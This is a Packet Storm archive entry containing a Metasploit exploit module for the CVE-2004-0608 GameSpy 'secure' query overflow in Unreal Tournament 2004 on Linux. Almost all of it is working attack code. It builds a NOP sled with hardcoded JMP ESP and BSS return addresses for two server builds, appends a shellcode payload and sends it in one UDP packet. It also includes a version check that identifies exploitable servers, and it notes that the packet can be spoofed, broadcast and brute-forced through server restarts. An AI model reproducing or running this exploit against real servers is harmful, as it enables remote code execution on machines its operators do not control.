Unreal Tournament 2004 Overflow

2009-10-27T00:00:00
ID PACKETSTORM:82230
Type packetstorm
Reporter onetwo
Modified 2009-10-27T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)',  
'Description' => %q{  
  
This is an exploit for the GameSpy secure query in  
the Unreal Engine.  
  
This exploit only requires one UDP packet, which can  
be both spoofed and sent to a broadcast address.  
Usually, the GameSpy query server listens on port 7787,  
but you can manually specify the port as well.  
  
The RunServer.sh script will automatically restart the  
server upon a crash, giving us the ability to  
bruteforce the service and exploit it multiple  
times.   
  
},  
'Author' => [ 'onetwo' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-0608'],  
[ 'OSVDB', '7217'],  
[ 'BID', '10570'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x5c\x00",  
  
},  
'Platform' => 'linux',  
'Targets' =>   
[  
['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer  
['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],  
],  
'DisclosureDate' => 'Jun 18 2004'))  
  
register_options(  
[  
Opt::RPORT(7787)  
], self.class)  
end  
  
def exploit  
connect_udp  
  
buf = make_nops(1024)  
buf[24, 4] = [target['Rets'][1]].pack('V')  
buf[44, 4] = [target['Rets'][0]].pack('V')  
buf[56, 4] = [target['Rets'][1]].pack('V')   
buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP  
  
buf[0, 8] = "\\secure\\"  
buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded  
  
udp_sock.put(buf)   
  
handler  
disconnect_udp  
end  
  
def ut_version  
connect_udp  
udp_sock.put("\\basic\\")  
res = udp_sock.recvfrom(8192)  
disconnect_udp   
  
if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))  
return m[1]  
end  
  
return  
end  
  
def check  
vers = ut_version  
  
if (not vers)  
print_status("Could not detect Unreal Tournament Server")  
return  
end  
  
print_status("Detected Unreal Tournament Server Version: #{vers}")  
if (vers =~ /^(3120|3186|3204)$/)  
print_status("This system appears to be exploitable")  
return Exploit::CheckCode::Appears  
end  
  
  
if (vers =~ /^(2...)$/)  
print_status("This system appears to be running UT2003")  
return Exploit::CheckCode::Detected  
end  
  
print_status("This system appears to be patched")  
return Exploit::CheckCode::Safe  
end  
  
end  
  
`